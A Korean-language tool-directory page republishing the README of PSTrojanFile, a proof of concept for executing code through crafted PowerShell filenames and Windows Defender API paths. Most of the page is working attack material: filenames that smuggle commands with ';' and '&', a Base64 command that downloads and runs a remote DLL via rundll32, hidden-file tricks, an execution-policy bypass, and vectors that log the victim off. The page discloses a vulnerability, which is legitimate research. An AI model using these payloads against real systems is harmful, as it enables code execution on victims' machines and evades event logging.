Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PSTrojanFile — 미패치된 Windows PowerShell 파일명 코드 실행 POC | Kitploit
도구/GitHubGitHub/hyp3rlinx/pstrojanfile
Payload GenerationVulnerability AnalysisExploitationIDS/IPS EvasionScripting & AutomationCTFPenetration TestingPapers & ResearchLearning & Education
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

미패치된 Windows PowerShell 파일명 코드 실행 POC

42852년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

PSTrojanFile

Windows PowerShell 파일 이름 및 Defender 안티멀웨어 API - 코드 실행 POC

발견자: John Page (일명 hyp3rlinx) 2019년, 2023년 재검토

2023년 12월 24일 업데이트

PowerShell 코드 실행에서 작은따옴표 장애물을 우회하고 보너스로 PS Windows 이벤트 로그 실패!
세미콜론과 친구 "&" 연산자가 결합하여 임의 코드 실행 기능을 제공합니다.

원치 않는 멀웨어를 실행해 보세요:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

또는

Windows Defender 안티멀웨어 검사:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Malware.exe가 같은 디렉터리에 있으면 드라이브 바이 다운로드를 떠올리세요.

Windows 이벤트 로그 실패: PS 이벤트 ID 403은 잘림(truncation)으로 인해 실제 파일 이름을 기록하지 못합니다.

PS 로그 발췌:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

ping cmd 호출? 왜 안 되겠어요
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

피해자 로그오프:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

업데이트: 2023년 12월 7일 — CL 및 Windows Defender API 벡터 추가, 아래 참조:

여전히 동작하기 때문에 다시 꺼내 약간의 개선을 했습니다:

  1. rundll32를 사용하여 원격 DLL 실행
  2. 의도하지 않은 보조 PS1 스크립트 또는 로컬 텍스트 파일 실행(숨김 가능)
  3. PS1 트로이 목마 파일 이름 생성기 Python3 스크립트 업데이트

2019년에 Microsoft에 처음 보고했지만 이 글을 쓰는 시점에도 여전히 수정되지 않았습니다.

특수하게 조작된 파일 이름을 통한 원격 코드 실행.

결함은 세미콜론 ";" 때문입니다. PS1 파일 이름에서 바로 Base64 명령을 디코딩하여 실행하거나 명령을 바로 실행할 수 있습니다.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

명령을 즉시 호출

"Testing;saps (gc -) PoC;.ps1"

공격 벡터: 더블 클릭, PS 바로 가기로 끌어서 놓기

"saps", "gc" 같은 축약형 PS 명령을 활용하여 프로세스를 시작하고 get-content 등의 작업을 수행합니다.

DLL 실행 예제:

"1.d"라는 원격 DLL을 다운로드하여 실행하려고 시도하는 트로이 목마 PS1 파일을 만듭니다.

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

DLL 코드:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

트로이 목마 PS1 파일을 더블 클릭하세요.

텍스트 파일 코드 실행 예제:

"start a process"인 saps와 "get-content"인 gc를 이름에 포함하는 PS1 파일을 만듭니다. 그러면 숨겨진 파일에서 명령을 읽습니다.

"Test;saps (gc -) PoC;.ps1"

숨김 파일 생성: attrib +s +h "-"

더블 클릭하거나 끌어서 놓으세요.

요구 사항:

a) PowerShell PS1 파일이 기본 프로그램으로 PowerShell로 열리도록 설정되어 있어야 합니다.

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) 사용자는 악의적인 이름의 PS1 스크립트를 더블 클릭하거나, cmd 명령줄에서 실행하거나, 끌어서 놓아야 합니다.

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

업데이트: Microsoft Defender 안티멀웨어 PowerShell API - 임의 코드 실행.

Microsoft Defender 안티멀웨어 및/또는 PS API는 임의 코드를 실행할 수 있습니다. 예를 들어 디렉터리, .lnk 바로 가기 또는 존재하지 않는 항목을 검사해도 의도하지 않은 코드가 실행될 수 있습니다. 이 벡터는 이전 권고와 후속 프로젝트 PSTrojanFile을 기반으로 합니다.

요구 사항:

  1. 명령줄(CL)에서 'powershell' 명령이 접두어로 붙거나 다른 스크립트에서 PowerShell을 호출하여 전달됩니다.
  2. 매개변수와 같은 이름의 실행 파일이 근처에 있어야 합니다.

예제:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe는 바탕 화면에 있습니다)

";saps Test" 디렉터리를 만들고, Test.exe, Test.cmd 등이 같은 CL 경로에 있게 하세요.
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

세미콜론이 있는 디렉터리를 만들고, 같은 경로에 doom.exe라는 PE 파일을 넣으세요.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

마지막으로, 빠뜨릴 수 없는 것: PowerShell에서 파일 해시를 가져오면 로그아웃됩니다 :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

도구 다운로드